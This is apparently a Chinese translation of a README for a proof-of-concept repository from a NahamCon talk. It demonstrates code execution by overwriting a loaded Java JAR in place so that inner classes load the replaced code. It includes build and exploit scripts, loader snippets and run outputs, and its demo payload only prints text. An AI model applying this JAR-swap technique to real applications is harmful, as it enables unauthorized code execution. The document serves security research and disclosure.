以下示例代码展示了热替换已加载 JAR 文件并实现代码执行的能力,其利用的事实是:只要 inode 不变,内部类在被调用时仍会访问该 JAR 文件。
已在 MacOS 上使用 OpenJDK 测试通过(并且还曾通过 Transporter 在 Apple 的 Author publisher 上完成了利用)。
演示来自 Frans Rosén 在 NahamCon 2022 EU 上的演讲《通过热 JAR 替换在 Apple 上实现 RCE 的故事》。
build-and-run.sh运行方式:
./build-and-run.sh
该脚本将:
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar
Bootstrapper 会使用 URLClassLoader 加载并运行 HelloWorld.Main 类,并提示你运行同样已加载的 HelloWorld.Secondary 类中的 hello 方法。这是为了控制何时替换已经加载的 JAR。
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
现在你可以选择不替换任何 JAR 直接按回车,这将展示 HelloWorld/Secondary.java 的正常代码流程:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
This is from the legit postVisitDirectory function:
testdir
End of run, goodbye
exploit.shexploit.sh 将:
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not
用 exploit.jar 覆盖 HelloWorld.jar 时的复制操作至关重要,因为如果 inode 发生变化,利用将无法成功。mv 命令会写入一个新的 inode,但 cp 到已有文件则不会。使用 ZIP 解压时也是如此,已存在 JAR 的 inode 从未改变,从而使利用得以生效。
如果你想测试 JAR 热替换,可以在运行 build-and-run.sh 之后、按下回车之前,在另一个窗口中运行 exploit.sh:
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
## Run this in a different terminal:
$ ./exploit.sh
NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED
-rw-r--r-- 1 frans staff 2281 Dec 9 13:20 rce.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:20 ../HelloWorld.jar
## Now click enter in the other tab to complete the ./build-and-run.sh)
如果你现在在 ./build-and-run.sh 中按下回车,你应该会成功看到被替换后的代码:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir
End of run, goodbye
这表明我们可以利用这样一个事实:即使 URLClassLoader 已经在我们替换之前加载了 JAR,内部类/匿名类仍然会从物理 JAR 文件中加载。
这个代码仓库试图说明,在满足若干前提条件的情况下,你可以覆盖已加载的 JAR 文件以获得代码执行能力。
其思路是 JAR 最初通过 URLClassLoader 加载:
URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
Constructor<?> constructor = beanClass.getConstructor();
Object beanObj = constructor.newInstance();
Method method = beanClass.getMethod("hello");
同时,一个次要方法也在启动时被加载,但从未被调用:
// Initiating the secondary class on boot, this is the one we replace the inner class of
Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
Object secondaryObj = secondaryConstructor.newInstance();
Method secondaryMethod = secondaryClass.getMethod("hello");
如果在应用运行期间替换了 JAR,并且已加载但从未调用过任何方法的类也包含内部类,那么只要调用发生在替换之后,我们就能让它运行来自新 JAR 的不同代码:
// Invoke secondary class hello that contains an inner class
secondaryMethod.invoke(secondaryObj);
因此,如果该方法包含内部类(在 JAR 中以 $1.class 形式出现),并且我们用大小和压缩率相同的代码替换该内部类,就能热替换 JAR 并让我们自己的代码运行。
来自 Exploit/HelloWorld/Secondary.java 的匿名类会编译成内部类 Exploit/HelloWorld/Secondary$1.class,其大小和压缩率与 HelloWorld/Secondary.java 编译并压缩后相同。如果大小或压缩率有差异,在 build-and-run.sh 中按下回车时就会崩溃。因此,如果你将 Exploit/HelloWorld/Secondary.java 改为例如(用 functionn 替换 function:):
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("\nThis is from the legit postVisitDirectory functionn");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
其中压缩结果相同,但压缩率不正确:
$ ./exploit.sh
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2280 Dec 9 13:44 exploit.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:44 ../HelloWorld.jar
你会看到:
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Hello from secondary class, here are all files in testdir/
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
at HelloWorld.Secondary.hello(Secondary.java:11)
... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
... 6 more
在 OpenJDK 上,似乎如果原始大小不同但压缩后大小相同,仍然可以成功:
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
$ ./exploit.sh
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2281 Dec 9 13:52 exploit.jar
-rw-r--r--@ 1 frans staff 2282 Dec 9 13:52 ../HelloWorld.jar
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir
exploit.sh 仍然会提示存在差异,因为它可能无法在所有版本中生效。
你还会看到,如果你在 Exploit/HelloWorld/Secondary.java 中修改内部类之外的内容,例如将:
System.out.println("\nEnd of run, goodbye");
改为:
System.out.println("\nEnd of run, goodbya");
这将使 Secondary.class 具有相同的压缩率和大小,但仍然不会触发被替换的内容,因为该类已经被 URLClassLoader 加载。这证实了该问题只影响内部类(即 JAR 中名为 $1.class 的类),因为它们是在使用时才从 JAR 文件中加载的:
End of run, goodbye